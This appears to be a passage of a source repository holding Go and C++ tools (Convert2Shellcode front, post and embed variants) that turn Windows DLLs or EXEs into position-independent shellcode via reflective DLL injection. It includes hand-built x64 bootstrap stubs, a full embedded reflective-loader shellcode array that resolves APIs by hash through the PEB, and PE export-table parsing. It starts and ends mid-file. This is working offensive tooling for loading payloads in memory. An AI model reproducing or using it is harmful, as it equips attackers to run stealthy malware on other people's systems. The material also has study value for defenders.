0x89, 0x45, 0x08) 184 | 185 | // call ReflectiveLoader 186 | bootstrap = append(bootstrap, 0xE8) 187 | callOffset := bootstrapSize - len(bootstrap) - 4 188 | callOffsetBytes := pack(uint32(callOffset)) 189 | bootstrap = append(bootstrap, callOffsetBytes...) 190 | 191 | // add rsp, 18h 192 | bootstrap = append(bootstrap, 0x48, 0x83, 0xC4, 0x18) 193 | 194 | /* 195 | ;------------------------------------------------------------------- 196 | ; 恢复到调用ReflectiveLoader之前的栈空间和寄存器状态 197 | ;------------------------------------------------------------------- 198 | pop r15 199 | pop r14 200 | pop r13 201 | pop r12 202 | pop rdi 203 | pop rsi 204 | pop rbp 205 | pop rbx 206 | ret 207 | */ 208 | bootstrap = append(bootstrap, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3) 209 | 210 | // 读取 DLL/EXE 文件 211 | dllPath := os.Args[1] 212 | dllBytes, err := ioutil.ReadFile(dllPath) 213 | if err != nil { 214 | fmt.Printf("[-] Error opening file: %v", err) 215 | os.Exit(1) 216 | } 217 | fmt.Printf("[+] Successfully opened %s (%d bytes)\n", dllPath, len(dllBytes)) 218 | 219 | // 组合最终 shellcode 220 | finalsize := bootstrapSize + len(rdiShellcode64) + len(dllBytes) 221 | finalShellcode := make([]byte, 0, finalsize) 222 | finalShellcode = append(finalShellcode, bootstrap...) 223 | finalShellcode = append(finalShellcode, rdiShellcode64...) 224 | finalShellcode = append(finalShellcode, dllBytes...) 225 | 226 | // 确定输出路径 227 | outputPath := "shellcode_front.bin" 228 | if len(os.Args) >= 3 { 229 | outputPath = os.Args[2] 230 | } 231 | 232 | // 写入文件 233 | if err := os.WriteFile(outputPath, finalShellcode, 0644); err != nil { 234 | fmt.Printf("[-] Error writing file: %v", err) 235 | os.Exit(1) 236 | } 237 | fmt.Printf("[+] Successfully generated shellcode file: %s (%d bytes)\n", outputPath, len(finalShellcode)) 238 | } 239 | -------------------------------------------------------------------------------- /Convert2Shellcode/Convert2Shellcode_embed.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | DWORD RVAtoFileOffset(DWORD RVA, PIMAGE_NT_HEADERS pNtHeader, PIMAGE_SECTION_HEADER pSec); 7 | DWORD GetProcOffset(const char* funcName, LPVOID pBuf); 8 | 9 | // 辅助函数:将32位整数打包为小端字节序 10 | void pack(uint32_t val, uint8_t* bytes) { 11 | bytes[0] = val & 0xFF; 12 | bytes[1] = (val >> 8) & 0xFF; 13 | bytes[2] = (val >> 16) & 0xFF; 14 | bytes[3] = (val >> 24) & 0xFF; 15 | } 16 | 17 | int wmain(int argc, wchar_t* argv[]) { 18 | 19 | printf("╔══════════════════════════════════════════════════════════════════════════════════════╗\n"); 20 | printf("║ Convert2Shellcode_embed ║\n"); 21 | printf("║------------------------------------------------------------------------------------- ║\n"); 22 | printf("║ Function: An improved version of RDI requires implementing the ReflectLoader function║\n"); 23 | printf("║ in the DLL by yourself and also needs to be exported. ║\n"); 24 | printf("║ Author:oneday ║\n"); 25 | printf("║ Compilation Date:%hs %hs ║\n", __DATE__, __TIME__); 26 | printf("╚══════════════════════════════════════════════════════════════════════════════════════╝\n"); 27 | printf("\n"); 28 | 29 | // 检查参数数量 30 | if (argc < 2) { 31 | printf("[-] Error: Missing DLL path parameter\n"); 32 | printf("[*] Usage: Convert2Shellcode_embed.exe [Output File Path] [The Export Function Name of Loader]\n"); 33 | printf("[*] Example 1: Convert2Shellcode_embed.exe C:\\path\\to\\ReflectiveDLL.dll\n"); 34 | printf("[*] Example 2: Convert2Shellcode_embed.exe C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin\n"); 35 | printf("[*] Example 3: Convert2Shellcode_embed.exe C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin ReflectiveLoader\n"); 36 | return 1; 37 | } 38 | 39 | uint8_t bootstrap[24]; 40 | uint8_t* dllBytes = NULL; 41 | size_t dllSize = 0; 42 | 43 | const wchar_t* dllPath = argv[1]; 44 | FILE* dllFile = _wfopen(dllPath, L"rb"); 45 | if (!dllFile) { 46 | printf("[-] Error: Unable to open file %s (Error code: %d)\n", dllPath, GetLastError()); 47 | return 1; 48 | } 49 | printf("[+] Successfully opened %s\n", dllPath); 50 | 51 | // 获取文件大小 52 | fseek(dllFile, 0, SEEK_END); 53 | dllSize = ftell(dllFile); 54 | fseek(dllFile, 0, SEEK_SET); 55 | if (dllSize == 0) { 56 | printf("[-] Error: File size is 0 - %s\n", dllPath); 57 | fclose(dllFile); 58 | return 1; 59 | } 60 | printf("[*] File size is %zu\n", dllSize); 61 | 62 | // 读取文件内容 63 | dllBytes = (uint8_t*)malloc(dllSize); 64 | if (!dllBytes) { 65 | printf("[-] Error: Memory allocation failed (requested dllSize: %zu bytes)\n", dllSize); 66 | fclose(dllFile); 67 | return 1; 68 | } 69 | printf("[+] Memory allocation successful, address is 0x%x\n", dllBytes); 70 | 71 | size_t bytesRead = fread(dllBytes, 1, dllSize, dllFile); 72 | fclose(dllFile); 73 | if (bytesRead != dllSize) { 74 | printf("[-] Error: File read incomplete (read %zu/%zu bytes)\n", bytesRead, dllSize); 75 | free(dllBytes); 76 | return 1; 77 | } 78 | printf("[*] %zu bytes read into memory\n", bytesRead); 79 | 80 | // 假设 ReflectLoader 是目标函数名 81 | const wchar_t* Wide_ReflectiveLoaderName = (argc >= 4) ? argv[3] : L"ReflectiveLoader"; 82 | 83 | 84 | // 计算所需缓冲区大小 85 | size_t size = wcstombs(NULL, Wide_ReflectiveLoaderName, 0) + 1; 86 | char* ReflectiveLoaderName = (char*)malloc(size); 87 | 88 | // 执行转换 89 | wcstombs(ReflectiveLoaderName, Wide_ReflectiveLoaderName, size); 90 | 91 | DWORD RDIOffset = 0; 92 | RDIOffset = GetProcOffset(ReflectiveLoaderName, dllBytes); 93 | 94 | if (!RDIOffset) { 95 | printf("[-] Error: fail to get RDIOffset)\n"); 96 | free(dllBytes); 97 | free(ReflectiveLoaderName); 98 | return 1; 99 | } 100 | 101 | free(ReflectiveLoaderName); 102 | 103 | // 构建stub 104 | int index = 0; 105 | uint8_t stub[23]; 106 | 107 | // pop r10 108 | stub[index++] = 0x4D; 109 | stub[index++] = 0x5A; 110 | 111 | // push r10 112 | stub[index++] = 0x41; 113 | stub[index++] = 0x52; 114 | 115 | // call 0 116 | stub[index++] = 0xE8; 117 | stub[index++] = 0x00; 118 | stub[index++] = 0x00; 119 | stub[index++] = 0x00; 120 | stub[index++] = 0x00; 121 | 122 | // pop rbx 123 | stub[index++] = 0x5B; 124 | 125 | // add rbx, 126 | stub[index++] = 0x48; 127 | stub[index++] = 0x81; 128 | stub[index++] = 0xC3; 129 | pack(RDIOffset - 9, stub + index); 130 | index += 4; 131 | 132 | // push rbp 133 | stub[index++] = 0x55; 134 | 135 | // mov rbp, rsp 136 | stub[index++] = 0x48; 137 | stub[index++] = 0x89; 138 | stub[index++] = 0xE5; 139 | 140 | // call rbx 141 | stub[index++] = 0xFF; 142 | stub[index++] = 0xD3; 143 | 144 | uint8_t* finalcode = (uint8_t*)malloc(dllSize); 145 | if (!finalcode) { 146 | printf("[-] Error: Memory allocation failed (requested finalSize: %zu bytes)\n", dllSize); 147 | free(dllBytes); 148 | return 1; 149 | } 150 | printf("[+] Memory allocation successful, address is 0x%x\n", finalcode); 151 | 152 | // 构造最终的shellcode 153 | memcpy(finalcode, dllBytes, dllSize); 154 | memcpy(finalcode, stub, index); 155 | 156 | // 释放 DLL 缓冲区 157 | free(dllBytes); 158 | dllBytes = NULL; 159 | 160 | // 处理输出文件参数 161 | const wchar_t* outputPath = (argc >= 3) ? argv[2] : L"shellcode_embed.bin"; 162 | 163 | // 写入文件 164 | HANDLE hFile = CreateFileW( 165 | outputPath, 166 | GENERIC_WRITE, 167 | 0, 168 | NULL, 169 | CREATE_ALWAYS, 170 | FILE_ATTRIBUTE_NORMAL, 171 | NULL 172 | ); 173 | 174 | if (hFile == INVALID_HANDLE_VALUE) { 175 | printf("[-] Error: Unable to create output file %s (Error code: %d)\n", outputPath, GetLastError()); 176 | free(finalcode); 177 | return 1; 178 | } 179 | 180 | DWORD bytesWritten; 181 | BOOL writeResult = WriteFile( 182 | hFile, 183 | finalcode, 184 | (DWORD)dllSize, 185 | &bytesWritten, 186 | NULL 187 | ); 188 | 189 | if (!writeResult || bytesWritten != dllSize) { 190 | printf("[-] Error: Failed to write to file (wrote %lu/%zu bytes, error code: %d)\n", 191 | bytesWritten, dllSize, GetLastError()); 192 | CloseHandle(hFile); 193 | free(finalcode); 194 | return 1; 195 | } 196 | 197 | FlushFileBuffers(hFile); 198 | CloseHandle(hFile); 199 | printf("[+] Successfully generated shellcode file: %s (Size: %zu bytes)\n", outputPath, dllSize); 200 | 201 | return 0; 202 | } 203 | 204 | //作用:RVA->文件偏移地址 205 | //公式:文件偏移 = 节区文件起始地址(PointerToRawData) + (RVA - 节区虚拟起始地址(VirtualAddress)) 206 | DWORD RVAtoFileOffset(DWORD RVA, PIMAGE_NT_HEADERS pNtHeader, PIMAGE_SECTION_HEADER pSec) { 207 | 208 | // 遍历节区表 209 | DWORD SectionNumber = pNtHeader->FileHeader.NumberOfSections; 210 | for (int i = 0; i < SectionNumber; i++) { 211 | // 检查RVA是否在当前节区的范围内 212 | if (RVA >= pSec[i].VirtualAddress && RVA < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) { 213 | // 转换RVA到文件偏移地址 214 | return pSec[i].PointerToRawData + (RVA - pSec[i].VirtualAddress); 215 | } 216 | } 217 | // 如果未找到对应的节区,返回无效值 218 | return 0xFFFFFFFF; 219 | } 220 | 221 | //作用:该函数通过导出表获得指定函数的地址 222 | DWORD GetProcOffset(const char* funcName, LPVOID pBuf) { 223 | 224 | //定位一些相关文件头 225 | PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf; 226 | PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew); 227 | PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeader + sizeof(IMAGE_NT_HEADERS)); 228 | 229 | //获取导出表地址及大小,注意这里是RVA 230 | DWORD exportDirRVA = pNtHeader->OptionalHeader.DataDirectory[0].VirtualAddress; 231 | DWORD exportDirSize = pNtHeader->OptionalHeader.DataDirectory[0].Size; 232 | 233 | if (!exportDirRVA) { 234 | printf("[-] Error: This DLL does not have an export table.\n"); 235 | return NULL; 236 | } 237 | //定位导出表 238 | //得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换为文件偏移 239 | DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeader, pSec); 240 | 241 | //转换之后RVA就变成了文件偏移,然后再定位 242 | PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset); 243 | 244 | //解析导出表,这里同理都是RVA 245 | DWORD pRNames = pExportDir->AddressOfNames; 246 | DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeader, pSec); 247 | DWORD* pNames = (DWORD*)((PBYTE)pBuf + pFNames); 248 | 249 | DWORD pRFunctions = pExportDir->AddressOfFunctions; 250 | DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeader, pSec); 251 | DWORD* pFunctions = (DWORD*)((PBYTE)pBuf + pFFunctions); 252 | 253 | WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals; 254 | WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeader, pSec); 255 | WORD* pNameOrdinals = (WORD*)((PBYTE)pBuf + pFFunctions); 256 | 257 | // 遍历查找目标函数 258 | DWORD funcRVA = 0; 259 | for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { 260 | DWORD functionNameRVA = pNames[i]; 261 | DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeader, pSec); 262 | const char* pName = (char*)((PBYTE)pBuf + functionNameFileOffset); 263 | if (strcmp(pName, funcName) == 0) { 264 | funcRVA = pFunctions[i]; 265 | break; 266 | } 267 | } 268 | if (funcRVA == 0) { 269 | printf("\n[-] Function %s not found.\n", funcName); 270 | return NULL; 271 | } 272 | 273 | DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeader, pSec); 274 | return fileOffset; 275 | } -------------------------------------------------------------------------------- /Convert2Shellcode/Convert2Shellcode_post.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // 反射式加载器的shellcode 7 | unsigned char rdiShellcode64[] = { 8 | 0xFC, 0x53, 0x55, 0x56, 0x57, 0x41, 0x54, 0x41, 9 | 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 10 | 0x48, 0x83, 0xEC, 0x20, 0x48, 0x89, 0x4D, 0x08, 11 | 0x48, 0x8B, 0x45, 0x08, 0x44, 0x8B, 0x60, 0x3C, 12 | 0x4C, 0x03, 0xE0, 0x41, 0x8B, 0x54, 0x24, 0x50, 13 | 0x48, 0x33, 0xC9, 0x41, 0xB8, 0x00, 0x10, 0x00, 14 | 0x00, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 0x49, 15 | 0xBA, 0xAF, 0x86, 0xFA, 0xFB, 0x00, 0x00, 0x00, 16 | 0x00, 0xE8, 0x47, 0x02, 0x00, 0x00, 0x48, 0x83, 17 | 0xC4, 0x20, 0x48, 0x89, 0x45, 0x10, 0x41, 0x8B, 18 | 0x4C, 0x24, 0x54, 0x48, 0x8B, 0x75, 0x08, 0x48, 19 | 0x8B, 0xF8, 0xF3, 0xA4, 0x44, 0x8B, 0x60, 0x3C, 20 | 0x4C, 0x03, 0xE0, 0x4C, 0x89, 0x65, 0x18, 0x41, 21 | 0x0F, 0xB7, 0x44, 0x24, 0x14, 0x4D, 0x8D, 0x74, 22 | 0x04, 0x18, 0x45, 0x0F, 0xB7, 0x6C, 0x24, 0x06, 23 | 0x41, 0x83, 0x7E, 0x10, 0x00, 0x74, 0x16, 0x41, 24 | 0x8B, 0x76, 0x14, 0x48, 0x03, 0x75, 0x08, 0x41, 25 | 0x8B, 0x7E, 0x0C, 0x48, 0x03, 0x7D, 0x10, 0x41, 26 | 0x8B, 0x4E, 0x10, 0xF3, 0xA4, 0x49, 0x83, 0xC6, 27 | 0x28, 0x41, 0xFF, 0xCD, 0x75, 0xDA, 0x48, 0x8B, 28 | 0x45, 0x18, 0x48, 0x8B, 0x5D, 0x10, 0x48, 0x2B, 29 | 0x58, 0x30, 0x53, 0x48, 0x8D, 0x90, 0xB0, 0x00, 30 | 0x00, 0x00, 0x8B, 0x12, 0x48, 0x03, 0x55, 0x10, 31 | 0x8B, 0x02, 0x85, 0xC0, 0x74, 0x40, 0x8B, 0x4A, 32 | 0x04, 0x48, 0x8D, 0x72, 0x08, 0x48, 0x03, 0xCA, 33 | 0x0F, 0xB7, 0x06, 0x8B, 0xD8, 0xC1, 0xEB, 0x0C, 34 | 0x66, 0x83, 0xFB, 0x0A, 0x75, 0x15, 0x25, 0xFF, 35 | 0x0F, 0x00, 0x00, 0x03, 0x02, 0x48, 0x03, 0x45, 36 | 0x10, 0x48, 0x8B, 0x18, 0x48, 0x03, 0x1C, 0x24, 37 | 0x48, 0x89, 0x18, 0x48, 0x83, 0xC6, 0x02, 0x48, 38 | 0x3B, 0xCE, 0x74, 0x02, 0xEB, 0xD2, 0x8B, 0x42, 39 | 0x04, 0x48, 0x03, 0xD0, 0xEB, 0xBA, 0x5B, 0x48, 40 | 0x8B, 0x45, 0x18, 0x8B, 0x80, 0x90, 0x00, 0x00, 41 | 0x00, 0x4C, 0x8B, 0x65, 0x10, 0x4C, 0x03, 0xE0, 42 | 0x41, 0x83, 0x3C, 0x24, 0x00, 0x0F, 0x84, 0x8B, 43 | 0x00, 0x00, 0x00, 0x41, 0x8B, 0x4C, 0x24, 0x0C, 44 | 0x48, 0x03, 0x4D, 0x10, 0x49, 0xC7, 0xC2, 0xE9, 45 | 0x0A, 0x59, 0x56, 0xE8, 0x5D, 0x01, 0x00, 0x00, 46 | 0x48, 0x83, 0xC4, 0x20, 0x48, 0x93, 0x41, 0x8B, 47 | 0x34, 0x24, 0x48, 0x03, 0x75, 0x10, 0x41, 0x8B, 48 | 0x7C, 0x24, 0x10, 0x48, 0x03, 0x7D, 0x10, 0x83, 49 | 0x3E, 0x00, 0x74, 0x51, 0x48, 0x8B, 0x06, 0x48, 50 | 0x8B, 0xD0, 0x48, 0x85, 0xC0, 0x78, 0x1C, 0x48, 51 | 0x8B, 0xCB, 0x48, 0x03, 0x55, 0x10, 0x48, 0x83, 52 | 0xC2, 0x02, 0x49, 0xBA, 0x05, 0xB9, 0x58, 0xE6, 53 | 0x00, 0x00, 0x00, 0x00, 0xE8, 0x1C, 0x01, 0x00, 54 | 0x00, 0xEB, 0x19, 0x48, 0x81, 0xE2, 0xFF, 0xFF, 55 | 0x00, 0x00, 0x48, 0x8B, 0xCB, 0x49, 0xBA, 0x05, 56 | 0xB9, 0x58, 0xE6, 0x00, 0x00, 0x00, 0x00, 0xE8, 57 | 0x01, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x20, 58 | 0x48, 0x89, 0x07, 0x48, 0x83, 0xC6, 0x08, 0x48, 59 | 0x83, 0xC7, 0x08, 0xEB, 0xAA, 0x49, 0x83, 0xC4, 60 | 0x14, 0xE9, 0x6A, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 61 | 0x5D, 0x18, 0x0F, 0xB7, 0x43, 0x14, 0x4C, 0x8D, 62 | 0x64, 0x03, 0x18, 0x44, 0x0F, 0xB7, 0x6B, 0x06, 63 | 0x41, 0x8B, 0x44, 0x24, 0x24, 0x25, 0x00, 0x00, 64 | 0x00, 0xE0, 0xC1, 0xE8, 0x1D, 0xE8, 0x08, 0x00, 65 | 0x00, 0x00, 0x01, 0x10, 0x02, 0x20, 0x08, 0x80, 66 | 0x04, 0x40, 0x5E, 0x44, 0x0F, 0xB6, 0x04, 0x06, 67 | 0x41, 0x8B, 0x4C, 0x24, 0x0C, 0x48, 0x03, 0x4D, 68 | 0x10, 0x41, 0x8B, 0x54, 0x24, 0x10, 0x48, 0x83, 69 | 0xEC, 0x08, 0x4C, 0x8B, 0xCC, 0x49, 0xBA, 0x76, 70 | 0x82, 0x91, 0xE3, 0x00, 0x00, 0x00, 0x00, 0xE8, 71 | 0x91, 0x00, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x28, 72 | 0x49, 0x83, 0xC4, 0x28, 0x41, 0xFF, 0xCD, 0x45, 73 | 0x85, 0xED, 0x75, 0xAC, 0x48, 0x8B, 0x45, 0x18, 74 | 0x48, 0x8D, 0x80, 0xD0, 0x00, 0x00, 0x00, 0x83, 75 | 0x78, 0x04, 0x00, 0x74, 0x27, 0x8B, 0x10, 0x48, 76 | 0x03, 0x55, 0x10, 0x48, 0x8B, 0x7A, 0x18, 0x48, 77 | 0x83, 0x3F, 0x00, 0x74, 0x17, 0x48, 0x8B, 0x07, 78 | 0x48, 0x8B, 0x4D, 0x10, 0xBA, 0x01, 0x00, 0x00, 79 | 0x00, 0x45, 0x33, 0xC0, 0xFF, 0xD0, 0x48, 0x83, 80 | 0xC7, 0x08, 0xEB, 0xE3, 0x48, 0x8B, 0x75, 0x18, 81 | 0x66, 0x8B, 0x46, 0x16, 0x66, 0xA9, 0x00, 0x20, 82 | 0x74, 0x21, 0x48, 0x83, 0xEC, 0x20, 0x8B, 0x5E, 83 | 0x28, 0x48, 0x03, 0x5D, 0x10, 0x48, 0x8B, 0x4D, 84 | 0x10, 0x48, 0xC7, 0xC2, 0x01, 0x00, 0x00, 0x00, 85 | 0x45, 0x33, 0xC0, 0xFF, 0xD3, 0x48, 0x83, 0xC4, 86 | 0x20, 0xEB, 0x09, 0x8B, 0x5E, 0x28, 0x48, 0x03, 87 | 0x5D, 0x10, 0xFF, 0xD3, 0x48, 0x83, 0xC4, 0x20, 88 | 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 89 | 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0x41, 0x51, 0x41, 90 | 0x50, 0x52, 0x51, 0x56, 0x41, 0x54, 0x48, 0x33, 91 | 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 92 | 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 93 | 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x48, 0x4D, 94 | 0x33, 0xC0, 0x48, 0x33, 0xC0, 0xAC, 0x3C, 0x61, 95 | 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC8, 0x0D, 96 | 0x44, 0x03, 0xC0, 0xFF, 0xC9, 0x75, 0xEB, 0x52, 97 | 0x41, 0x50, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 98 | 0x3C, 0x48, 0x03, 0xC2, 0x66, 0x81, 0x78, 0x18, 99 | 0x0B, 0x02, 0x75, 0x79, 0x8B, 0x80, 0x88, 0x00, 100 | 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x6E, 0x48, 101 | 0x03, 0xC2, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 102 | 0x48, 0x20, 0x4C, 0x03, 0xCA, 0x48, 0x85, 0xC9, 103 | 0x74, 0x5A, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 104 | 0x89, 0x48, 0x03, 0xF2, 0x4D, 0x33, 0xC0, 0x48, 105 | 0x33, 0xC0, 0xAC, 0x84, 0xC0, 0x74, 0x09, 0x41, 106 | 0xC1, 0xC8, 0x0D, 0x44, 0x03, 0xC0, 0xEB, 0xEF, 107 | 0x4C, 0x03, 0x44, 0x24, 0x08, 0x45, 0x3B, 0xC2, 108 | 0x75, 0xD3, 0x58, 0x44, 0x8B, 0x48, 0x24, 0x4C, 109 | 0x03, 0xCA, 0x66, 0x41, 0x8B, 0x0C, 0x49, 0x44, 110 | 0x8B, 0x48, 0x1C, 0x4C, 0x03, 0xCA, 0x41, 0x8B, 111 | 0x04, 0x89, 0x48, 0x03, 0xC2, 0x41, 0x58, 0x41, 112 | 0x58, 0x41, 0x5C, 0x5E, 0x59, 0x5A, 0x41, 0x58, 113 | 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 114 | 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x58, 0x5A, 115 | 0x48, 0x8B, 0x12, 0xE9, 0x46, 0xFF, 0xFF, 0xFF, 116 | 0x00 117 | }; 118 | 119 | // 辅助函数:将32位整数打包为小端字节序 120 | void pack(uint32_t val, uint8_t* bytes) { 121 | bytes[0] = val & 0xFF; 122 | bytes[1] = (val >> 8) & 0xFF; 123 | bytes[2] = (val >> 16) & 0xFF; 124 | bytes[3] = (val >> 24) & 0xFF; 125 | } 126 | 127 | int wmain(int argc, wchar_t* argv[]) { 128 | 129 | printf("╔══════════════════════════════════════════════════════════════════════════════════════╗\n"); 130 | printf("║ Convert2Shellcode_post ║\n"); 131 | printf("║------------------------------------------------------------------------------------- ║\n"); 132 | printf("║ Function: Use post-style RDI to convert EXE/DLL into position-independent shellcode ║\n"); 133 | printf("║ Author:oneday ║\n"); 134 | printf("║ Compilation Date:%hs %hs ║\n", __DATE__, __TIME__); 135 | printf("╚══════════════════════════════════════════════════════════════════════════════════════╝\n"); 136 | printf("\n"); 137 | 138 | // 检查参数数量 139 | if (argc < 2) { 140 | printf("[-] Error: Missing DLL/EXE path parameter\n"); 141 | printf("[*] Usage: Convert2Shellcode_post.exe [Output File Path]\n"); 142 | printf("[*] Example 1: Convert2Shellcode_post.exe C:\\path\\to\\Test.dll\n"); 143 | printf("[*] Example 2: Convert2Shellcode_post.exe C:\\path\\to\\ReflectiveDLL.dll C:\\path\\to\\Shellcode.bin\n"); 144 | return 1; 145 | } 146 | 147 | uint8_t* finalcode = NULL; 148 | uint8_t bootstrap[24]; 149 | size_t finalSize = 0; 150 | uint8_t* dllBytes = NULL; 151 | size_t dllSize = 0; 152 | 153 | // 构建引导代码 154 | int index = 0; 155 | 156 | // pop rax 157 | bootstrap[index++] = 0x58; 158 | 159 | // push rax 160 | bootstrap[index++] = 0x50; 161 | 162 | // call next instruction 163 | bootstrap[index++] = 0xE8; 164 | bootstrap[index++] = 0x00; 165 | bootstrap[index++] = 0x00; 166 | bootstrap[index++] = 0x00; 167 | bootstrap[index++] = 0x00; 168 | 169 | // pop rcx 170 | bootstrap[index++] = 0x59; 171 | 172 | // sub rcx,7 173 | bootstrap[index++] = 0x48; 174 | bootstrap[index++] = 0x83; 175 | bootstrap[index++] = 0xE9; 176 | bootstrap[index++] = 0x07; 177 | 178 | // mov rax,rcx 179 | bootstrap[index++] = 0x48; 180 | bootstrap[index++] = 0x8B; 181 | bootstrap[index++] = 0xC1; 182 | 183 | const wchar_t* dllPath = argv[1]; 184 | FILE* dllFile = _wfopen(dllPath, L"rb"); 185 | if (!dllFile) { 186 | printf("[-] Error: Unable to open file %s (Error code: %d)\n", dllPath, GetLastError()); 187 | return 1; 188 | } 189 | printf("[+] Successfully opened %s\n", dllPath); 190 | 191 | // 获取文件大小 192 | fseek(dllFile, 0, SEEK_END); 193 | dllSize = ftell(dllFile); 194 | fseek(dllFile, 0, SEEK_SET); 195 | if (dllSize == 0) { 196 | printf("[-] Error: File size is 0 - %s\n", dllPath); 197 | fclose(dllFile); 198 | return 1; 199 | } 200 | printf("[*] File size is %zu\n", dllSize); 201 | 202 | // 读取文件内容 203 | dllBytes = (uint8_t*)malloc(dllSize); 204 | if (!dllBytes) { 205 | printf("[-] Error: Memory allocation failed (requested dllSize: %zu bytes)\n", dllSize); 206 | fclose(dllFile); 207 | return 1; 208 | } 209 | printf("[+] Memory allocation successful, address is 0x%x\n", dllBytes); 210 | 211 | size_t bytesRead = fread(dllBytes, 1, dllSize, dllFile); 212 | fclose(dllFile); 213 | if (bytesRead != dllSize) { 214 | printf("[-] Error: File read incomplete (read %zu/%zu bytes)\n", bytesRead, dllSize); 215 | free(dllBytes); 216 | return 1; 217 | } 218 | printf("[*] %zu bytes read into memory\n", bytesRead); 219 | 220 | // 计算DLL偏移量 221 | size_t rdiShellcodeSize = sizeof(rdiShellcode64); 222 | uint32_t srdiOffset = dllSize; 223 | 224 | // add rax, 225 | bootstrap[index++] = 0x48; 226 | bootstrap[index++] = 0x05; 227 | pack(srdiOffset, bootstrap + index); 228 | index += 4; 229 | 230 | // call rax 231 | bootstrap[index++] = 0xFF; 232 | bootstrap[index++] = 0xD0; 233 | 234 | // ret 235 | bootstrap[index++] = 0xC3; 236 | 237 | finalSize = dllSize + sizeof(rdiShellcode64); 238 | finalcode = (uint8_t*)malloc(finalSize); 239 | if (!finalcode) { 240 | printf("[-] Error: Memory allocation failed (requested finalSize: %zu bytes)\n", finalSize); 241 | free(dllBytes); 242 | return 1; 243 | } 244 | printf("[+] Memory allocation successful, address is 0x%x\n", finalcode); 245 | 246 | // 构造最终的shellcode 247 | memcpy(finalcode, dllBytes, dllSize); 248 | memcpy(finalcode, bootstrap, index); 249 | memcpy(finalcode + dllSize, rdiShellcode64, sizeof(rdiShellcode64)); 250 | 251 | // 释放 DLL 缓冲区 252 | free(dllBytes); 253 | dllBytes = NULL; 254 | 255 | // 处理输出文件参数 256 | const wchar_t* outputPath = (argc >= 3) ? argv[2] : L"shellcode_post.bin"; 257 | 258 | // 写入文件 259 | HANDLE hFile = CreateFileW( 260 | outputPath, 261 | GENERIC_WRITE, 262 | 0, 263 | NULL, 264 | CREATE_ALWAYS, 265 | FILE_ATTRIBUTE_NORMAL, 266 | NULL 267 | ); 268 | 269 | if (hFile == INVALID_HANDLE_VALUE) { 270 | printf("[-] Error: Unable to create output file %s (Error code: %d)\n", outputPath, GetLastError()); 271 | free(finalcode); 272 | return 1; 273 | } 274 | 275 | DWORD bytesWritten; 276 | BOOL writeResult = WriteFile( 277 | hFile, 278 | finalcode, 279 | (DWORD)finalSize, 280 | &bytesWritten, 281 | NULL 282 | ); 283 | 284 | if (!writeResult || bytesWritten != finalSize) { 285 | printf("[-] Error: Failed to write to file (wrote %lu/%zu bytes, error code: %d)\n", 286 | bytesWritten, finalSize, GetLastError()); 287 | CloseHandle(hFile); 288 | free(finalcode); 289 | return 1; 290 | } 291 | 292 | FlushFileBuffers(hFile); 293 | CloseHandle(hFile); 294 | printf("[+] Successfully generated shellcode file: %s (Size: %zu bytes)\n", outputPath, finalSize); 295 | 296 | return 0; 297 | } -------------------------------------------------------------------------------- /Convert2Shellcode/Convert2Shellcode_front.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | // 反射式加载器的shellcode 7 | unsigned char rdiShellcode64[] = { 8 | 0x50, 0x48, 0x8B, 0x45, 0x08, 0x44, 0x8B, 0x60, 9 | 0x3C, 0x4C, 0x03, 0xE0, 0x41, 0x8B, 0x54, 0x24, 10 | 0x50, 0x48, 0x33, 0xC9, 0x41, 0xB8, 0x00, 0x10, 11 | 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00, 0x00, 0x00, 12 | 0x49, 0xBA, 0xAF, 0x86, 0xFA, 0xFB, 0x00, 0x00, 13 | 0x00, 0x00, 0xE8, 0x37, 0x02, 0x00, 0x00, 0x48, 14 | 0x83, 0xC4, 0x20, 0x48, 0x89, 0x45, 0x10, 0x41, 15 | 0x8B, 0x4C, 0x24, 0x54, 